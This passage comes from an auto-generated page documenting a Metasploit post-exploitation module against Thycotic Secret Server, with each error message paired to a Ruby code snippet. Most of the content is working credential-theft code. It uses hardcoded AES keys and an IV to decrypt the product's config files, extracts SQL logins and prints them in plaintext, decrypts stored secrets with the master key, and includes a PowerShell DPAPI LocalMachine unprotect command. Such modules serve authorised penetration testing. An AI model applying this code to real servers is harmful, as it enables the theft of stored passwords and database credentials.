472:	    return false unless (plaintext_conf = aes_cbc_decrypt(enc_conf_bytes, aes_key_legacy, aes_iv_legacy).delete("\000"))
473:	
474:	    plaintext_conf_hex = plaintext_conf.unpack('H*').first
475:	    unless plaintext_conf_hex.match?(/4b65790556616c7565/i) # magic bytes
476:	      print_error('Could not locate encryption.config key/value header in binary stream')
477:	      return false
478:	    end
479:	    working_offset = (plaintext_conf_hex.index(/4b65790556616c7565/i) / 2) + 14
480:	    loop do
481:	      k = nil

Exception in <__METHOD__>: <E.MESSAGE>


Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:

498:	      end
499:	      break if working_offset >= plaintext_conf.length
500:	    end
501:	    res
502:	  rescue StandardError => e
503:	    vprint_error("Exception in #{__method__}: #{e.message}")
504:	    return false
505:	  end
506:	
507:	  def init_thycotic_db(ss_web_path)
508:	    print_status('Decrypt database.config ...')

Error reading database configuration file <SS_DB_CONFIG_FILE>


Here is a relevant code snippet related to the "Error reading database configuration file <SS_DB_CONFIG_FILE>" error message:

508:	    print_status('Decrypt database.config ...')
509:	    ss_db_config_file = ss_web_path + 'database.config'
510:	    vprint_status('Database configuration file path:')
511:	    vprint_status("\t#{ss_db_config_file}")
512:	    unless (db_conf = get_thycotic_database_config(read_config_file(ss_db_config_file)))
513:	      print_error("Error reading database configuration file #{ss_db_config_file}")
514:	      return false
515:	    end
516:	    db_instance_path = db_conf['DATA SOURCE']
517:	    db_name = db_conf['INITIAL CATALOG']
518:	    db_user = db_conf['USER ID']

Failed to recover database parameters from <SS_DB_CONFIG_FILE>


Here is a relevant code snippet related to the "Failed to recover database parameters from <SS_DB_CONFIG_FILE>" error message:

517:	    db_name = db_conf['INITIAL CATALOG']
518:	    db_user = db_conf['USER ID']
519:	    db_pass = db_conf['PASSWORD']
520:	    db_auth = db_conf['INTEGRATED SECURITY']
521:	    if db_instance_path.nil? || db_name.nil?
522:	      print_error("Failed to recover database parameters from #{ss_db_config_file}")
523:	      return false
524:	    end
525:	    @ss_db_instance_path = db_instance_path
526:	    @ss_db_name = db_name
527:	    @ss_db_integrated_auth = false

The database uses Windows authentication


Here is a relevant code snippet related to the "The database uses Windows authentication" error message:

530:	    print_good("\tDatabase Name: #{@ss_db_name}")
531:	    if !db_auth.nil?
532:	      if db_auth.downcase == 'true'
533:	        @ss_db_integrated_auth = true
534:	        print_good("\tDatabase User: (Windows Integrated)")
535:	        print_warning('The database uses Windows authentication')
536:	        print_warning('Session identity must have access to the SQL server instance to proceed')
537:	      end
538:	    elsif !db_user.nil? && !db_pass.nil?
539:	      @ss_db_user = db_user
540:	      @ss_db_pass = db_pass

Session identity must have access to the SQL server instance to proceed


Here is a relevant code snippet related to the "Session identity must have access to the SQL server instance to proceed" error message:

531:	    if !db_auth.nil?
532:	      if db_auth.downcase == 'true'
533:	        @ss_db_integrated_auth = true
534:	        print_good("\tDatabase User: (Windows Integrated)")
535:	        print_warning('The database uses Windows authentication')
536:	        print_warning('Session identity must have access to the SQL server instance to proceed')
537:	      end
538:	    elsif !db_user.nil? && !db_pass.nil?
539:	      @ss_db_user = db_user
540:	      @ss_db_pass = db_pass
541:	      extra_service_data = {

Could not extract SQL login information from <SS_DB_CONFIG_FILE>


Here is a relevant code snippet related to the "Could not extract SQL login information from <SS_DB_CONFIG_FILE>" error message:

551:	      }
552:	      store_valid_credential(user: @ss_db_user, private: @ss_db_pass, service_data: extra_service_data)
553:	      print_good("\tDatabase User: #{@ss_db_user}")
554:	      print_good("\tDatabase Pass: #{@ss_db_pass}")
555:	    else
556:	      print_error("Could not extract SQL login information from #{ss_db_config_file}")
557:	      return false
558:	    end
559:	  end
560:	
561:	  def get_thycotic_database_config(db_conf_bytes)

Error decrypting database.config


Here is a relevant code snippet related to the "Error decrypting database.config" error message:

562:	    res = {}
563:	    # Burned-in static keys and IV
564:	    aes_key = ['020216980119760c0b79017097830b1d'].pack('H*')
565:	    aes_iv = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
566:	    unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
567:	      print_error('Error decrypting database.config')
568:	      return false
569:	    end
570:	    unless (db_str = get_thycotic_database_string(plaintext_conf))
571:	      print_error('Could not extract connectionString from database.config')
572:	      return false

Could not extract connectionString from database.config


Here is a relevant code snippet related to the "Could not extract connectionString from database.config" error message:

566:	    unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
567:	      print_error('Error decrypting database.config')
568:	      return false
569:	    end
570:	    unless (db_str = get_thycotic_database_string(plaintext_conf))
571:	      print_error('Could not extract connectionString from database.config')
572:	      return false
573:	    end
574:	    db_connection_elements = db_str.split(';')
575:	    db_connection_elements.each do |element|
576:	      pair = element.to_s.split('=')

Exception in <__METHOD__>: <E.MESSAGE>


Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:

578:	      v = pair[1]
579:	      res[k.upcase] = v
580:	    end
581:	    res
582:	  rescue StandardError => e
583:	    vprint_error("Exception in #{__method__}: #{e.message}")
584:	    return false
585:	  end
586:	
587:	  def get_thycotic_database_string(plaintext_conf)
588:	    return false unless plaintext_conf.match?(/connectionString/i)

SecretID <SECRET_ID> field '<SECRET_FIELD>' decryption failed, attempting pure MEK decryption as last resort


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' decryption failed, attempting pure MEK decryption as last resort" error message:

614:	    else
615:	      intermediate_key = mek
616:	    end
617:	    decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)
618:	    unless decrypted_secret
619:	      vprint_warning("SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort")
620:	      decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)
621:	    end
622:	    return false unless decrypted_secret
623:	
624:	    if @ss_build >= 10.4

SecretID <SECRET_ID> field '<SECRET_FIELD>' contains invalid UTF-8 and will be stored as a Base64 string in the output file


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' contains invalid UTF-8 and will be stored as a Base64 string in the output file" error message:

629:	    if !plaintext.to_s.empty?
630:	      # Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext
631:	      # This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word
632:	      if !plaintext.force_encoding('UTF-8').valid_encoding?
633:	        plaintext = Base64.strict_encode64(plaintext)
634:	        print_warning("SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file")
635:	      end
636:	      return plaintext
637:	    else
638:	      return nil
639:	    end

DPAPI decrypt: invalid Base64 ciphertext


Here is a relevant code snippet related to the "DPAPI decrypt: invalid Base64 ciphertext" error message:

672:	    return false
673:	  end
674:	
675:	  def dpapi_decrypt(b64)
676:	    unless b64.match?(%r{^[-A-Za-z0-9+/]*={0,3}$})
677:	      print_error('DPAPI decrypt: invalid Base64 ciphertext')
678:	      return nil
679:	    end
680:	    cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
681:	    plaintext = psh_exec(cmd_str)
682:	    unless plaintext.match?(/^[0-9a-f]+$/i)

Failed DPAPI LocalMachine decryption


Here is a relevant code snippet related to the "Failed DPAPI LocalMachine decryption" error message:

678:	      return nil
679:	    end
680:	    cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
681:	    plaintext = psh_exec(cmd_str)
682:	    unless plaintext.match?(/^[0-9a-f]+$/i)
683:	      print_error('Failed DPAPI LocalMachine decryption')
684:	      return nil
685:	    end
686:	    plaintext
687:	  end
688:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


npm[at]cesium137.io

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.